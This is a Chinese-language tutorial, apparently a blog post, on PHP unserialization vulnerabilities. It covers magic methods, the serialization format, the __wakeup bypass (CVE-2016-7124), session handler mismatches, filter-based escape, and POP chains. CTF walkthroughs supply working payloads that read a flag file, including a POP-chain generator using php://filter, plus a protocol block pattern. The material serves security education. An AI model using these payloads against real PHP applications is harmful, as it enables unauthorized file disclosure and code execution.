一、 PHP序列化 与 反序列化
① 序列化
序列化函数:serialize()
按照手册上来说就是产生一个可存储的值,也就是字符串 ,所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。
对于对象来说,序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
② 反序列化
反序列化函数:unserialize()
函数能够重新把字符串变回php原来的值。说白了就是把serialize之后的值重新变回去。
二、PHP 中的魔术方法
① 什么是魔术方法
在说反序列化漏洞前,当然要先了解一下php中的魔术方法。
先看一下手册的说法,在类中以__(两个下划线) 开头的已定义的方法叫做魔术方法。
说白了就是php类中,已经定义好的方法,类似于c++的构造、析构函数,用来实现特定功能的。
② 常见的魔术方法
__construct() 具有构造函数的类会在每次创建新对象时先调用此方法 (构造函数)
__destruct() 会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。(析构函数)
__call() 在对象中调用一个不可访问方法时,__call() 会被调用
__callStatic() 在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
__get() 读取不可访问属性的值时,__get() 会被调用。
__set() 在给不可访问属性赋值时,__set() 会被调用。
__isset() 当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
__unset() 当对不可访问属性调用 unset() 时,__unset() 会被调用。
__sleep() 当对象被serialize() 函数处理前,调用
__wakeup() 当类被unserialize()时调用 __wakeup 方法,预先准备对象需要的资源。
__toString() 该方法用于一个类被当成字符串时应怎样回应
__invoke() 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
__set_state()
__clone() 当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值
__debugInfo() 此方法由var_dump()调用
③ 魔术方法用法
__construct() 与 __destruct()
<?php
class Test
{
function __construct()
{
echo "__construct\n";
}
function __destruct()
{
echo "__destruct\n";
}
}
$a = new Test;
?>
结果
__construct
__destruct
__get() 与 __set() 与 __call()
<?php
class Test
{
private $hidden = "";
function __get($name)
{
echo "$name : __get\n";
}
function __set($name,$value)
{
echo "$name : $value ,__set\n";
}
function __call($name,$arguments)
{
echo "$name : $arguments ,__call\n";
}
}
$a = new Test;
$a->test1; //__get
$a->test2 = "test3"; //__set
$a->hidden; // get
$a->hidden = "test3";// set
$a->test4("test5");//__call
?>
结果
test1 : __get
test2 : test3 ,__set
hidden : __get
hidden : test3 ,__set
test4 : Array ,__call
__sleep() 与 __wakeup()
<?php
class Test
{
public $name = "123";
function __sleep()
{
echo "__sleep\n";
return array($this->name);
}
function __wakeup()
{
echo "__wakeup\n";
}
}
$a = new Test();
$a = serialize($a);
unserialize($a);
?>
结果 (这里值得注意一下 __sleep返回值为array类型)
__sleep
__wakeup
__toString() 与 __invoke()
<?php
class Test
{
function __toString()
{
echo "__toString\n";
return "__toString\n";
}
function __invoke($name)
{
echo "$name : __invoke\n";
}
}
$a = new Test;
echo $a;
$a("test1");
?>
结果 (这里值得注意一下 __sleep返回值为array类型)
__toString
__toString
test1 : __invoke
三、序列化格式
把php基本类型都序列化一遍
<?php
class Test
{
public $name = "test";
}
echo serialize(9999)."\n";
echo serialize(99.99)."\n";
echo serialize("abc")."\n";
echo serialize(true)."\n";
echo serialize(NULL)."\n";
echo serialize(["abc",123,99.99])."\n";
echo serialize(new Test)."\n";
?>
结果
i:9999;
d:99.99;
s:3:"abc";
b:1;
N;
a:3:{i:0;s:3:"abc";i:1;i:123;i:2;d:99.99;}
O:4:"Test":1:{s:4:"name";s:4:"test";}
格式对应如下
类型 | 格式 | |
---|---|---|
String | s:size:value; | |
Double | d:value | |
Integer | i:value; | |
Boolean | b:value;(保存1或0) | |
Null | N; | |
Array | a:size:{key definition;value definition | (repeated per element)} |
Object | O:strlen(object name):object name:object size | {s:strlen(property name):property name:property definition;(repeated per property)} |
这里唯一复杂的类型就是 object和array 因为他们可以包含其他类型
这里具体说一下类的序列化。
O:4:"Test":1:{s:4:"name";s:4:"test";}
- O表示是object,
- 4为类名长度为四,
- 后面跟着类名用双引号包裹,
- 后面再跟着类含有的属性个数,这里是一个所以为1,
- 后面是属性的具体内容用{}包裹,里面以每两个;为一组,前一个为变量名称,后一个为对应的值
还有一点值得注意,当类的属性成员为protected,private 与 public 是不同的
如下
<?php
class Test
{
private $key = "aaa";
protected $test = "bbb";
public $name = "ccc";
}
echo serialize(new Test);
?>
结果
O:4:"Test":3:{s:9:"<0x00>Test<0x00>key";s:3:"aaa";s:7:"<0x00>*<0x00>test";s:3:"bbb";s:4:"name";s:3:"ccc";}
这里的<0x00>代表ascii为0的字符(不可见),url编码输出一下(仅编码<0x00>)
O:4:"Test":3:{s:9:"%00Test%00key";s:3:"aaa";s:7:"%00*%00test";s:3:"bbb";s:4:"name";s:3:"ccc";}
public :直接原变量名 private :在原变量名前加 <0x00>类名<0x00> 原变量名 相应的前面长度加大 protected :在原变量名前加 <0x00>*<0x00> 原变量名 相应的前面长度加3
四、反序列化漏洞
① __wakeup 函数绕过(CVE-2016-7124)
漏洞影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10
漏洞产生原因: 如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
<?php
class Test
{
public $page ;
function __construct()
{
$this->page = "test.php";
}
function __wakeup()
{
$this->page = "index.php";
}
function __destruct()
{
var_dump($this->page);
}
}
var_dump(unserialize('O:4:"Test":1:{s:4:"page";s:8:"test.php";}'));
?>
结果如下
当被改为
O:4:"Test":1:{s:4:"page";s:8:"test.php";}
=>
O:4:"Test":2:{s:4:"page";s:8:"test.php";}
② Session 反序列化
PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化。
session 处理配置
- session.save_path 设置session的存储路径
- session.save_handler 设定用户自定义存储函数
- session.auto_start 指定会话模块是否在请求开始时启动一个会话
- session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php 除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同
常见的三种session处理引擎
- php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
- php 键名+竖线+经过serialize()函数反序列处理的值
- php_serialize serialize()函数反序列处理数组方式
三种处理器的存储格式差异,就会造成在session序列化和反序列化处理器设置不当时的安全隐患。
当某一个页面如下
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
if ($_GET) {
$_SESSION[$_GET["name"]] = $_GET["value"];
}
var_dump($_SESSION);
?>
而其它页面没有设置 ini_set(‘session.serialize_handler’,’php_serialize’); 一般网站默认处理器为php,就会存在隐患,
test.php
<?php
session_start();
var_dump($_SESSION);
?>
session 文件
③ 反序列化逃逸
这里就直接上一个例子(这里是减少,扩增也是类似的道理) 漏洞成因是开发者设计不当造成 源码
highlight_file(__file__);
$file = array('title'=> "", 'path'=>"./", 'name' => "info.png", 'size'=>"");
function filter($img){
return preg_replace("/flag|php|fl1g/i",'',$img);
}
$file["title"] = $_GET["title"];
$file["size"] = $_GET["size"];
$ser = filter(serialize($file));
$file1 = unserialize($ser);
echo file_get_contents($file1["path"].$file1["name"]);
// flag in /ffff111aaagg
从题目看到 $file 一共有四个属性 分别为title、path、name、size。 且为数组结构的
提示flag在 /ffff111aaagg中,且 存在file_get_contents函数 ,思路很明显就是通过输入改变序列化结果,让$file1[“path”]= /,$file1[“name”] = ffff111aaagg
而问题就在于可控制的参数为$file[“title”] 、$file[“size”],感觉与 $file1[“path”]、$file1[“name”]没什么关系,当然题目一般不会给多余的东西,题目还有一个filter函数,用来过滤一些字符的,该题就是用这个函数来实现的。
先序列化数组,再反序列化一下
a:4:{s:5:”title”;s:3:”123”;s:4:”path”;s:2:”./”;s:4:”name”;s:8:”info.png”;s:4:”size”;s:3:”456”;}
如果当我们的输入中有 **flag | php | fl1g**字符时,会被替换为空,我们此时再试一下会出现什么情况 |
输入的flag被替换为空,且反序列化失败,失败的原因就是这个题解的关键
在序列化中(正常序列化),拿其中的黄色部分举例子如下
失败的原因 如图:
由上图可以看出 出现过滤的情况那么就会吞噬掉正常序列,及反序列化逃逸, 可以参考文章:https://xz.aliyun.com/t/6718
通过上面可以发现只要我们构造的得当,便可以覆盖掉path和name部分。
先通过修改正常的序列化来举个例子
原序列(正常)
a:4:{s:5:"title";s:3:"123";s:4:"path";s:2:"./";s:4:"name";s:8:"info.png";s:4:"size";s:3:"456";}
改动后(把最开始的a:4改成a:3(代表的成员个数),将title后面的 s:3改成s:23)
a:3:{s:5:"title";s:23:"123";s:4:"path";s:2:"./";s:4:"name";s:8:"info.png";s:4:"size";s:3:"456";}
成功把path覆盖掉,同理可以同时覆盖掉name(前提是把最开始的a:4改成a:2),如下
在题目中我们只需要将title内容用flag、php、fl1g 来拼凑上面的23位、46位即可(前提是把最开始的a:4改成a:3或2 因为成员个数发生改变)如下
可以正常序列化,既然覆盖掉了name和path 那么就要在构造出来,并且保持成员数为4 ,因为 a:4是不变的 通过观察可发现我们能够控制的参数为开头和结尾,我们如果把中间部分覆盖掉,那么我们就可以通过后面再重新构造出来。
还有一点就是,在一个正常的序列后面添加东西是不影响正常反序列化的,会被直接无视掉
要想通过size来重构任意变量的话那么就需要覆盖到s:4:”size”;s:n:(具体再体会)
最终构造如下
$file["title"] = "flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";
$file["size"] = ';s:4:"path";s:1:"/";s:4:"name";s:12:"ffff111aaagg";s:4:"size";s:3:"123";};';
最终得flag
④ POP链构造
通俗来说就是反序列化利用链,为什么是个链呢,因为它涉及多个类,最终连成一个利用链。一般出现在大的框架里,最经典的还是thinkphp序列化漏洞。
贴一个简单的小例子
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
?>
先贴个payload,自己懒得再做了-。-,具体不细说了
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "www.gem-love.com";
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$o = new Show('aaa');
$o->str= new Test();
$a = new Show($o);
echo urlencode(serialize($a));
?>
⑥ Phar 反序列化
这里不具体展开,以后另写文章总结
⑦序列化的几个小特点
这里只序列化两个属性,另外属性在反序列化的时候会自动加上
<?php
class test
{
public $name = "Diego";
public $age = 99;
private $sercet = "你永远不知道的秘密";
}
var_dump(unserialize('O:4:"test":2:{s:4:"name";s:5:"Diego";s:3:"age";i:99;}'));
?>
序列化的时候会添加额外的属性。不存在的属性被添加
<?php
class test
{
public $name = "Diego";
public $age = 99;
private $sercet = "你永远不知道的秘密";
}
$a = unserialize(urldecode('O:4:"test":1:{s:4:"test";s:8:"test!!!!";}'));
var_dump($a);
var_dump($a->test);
?>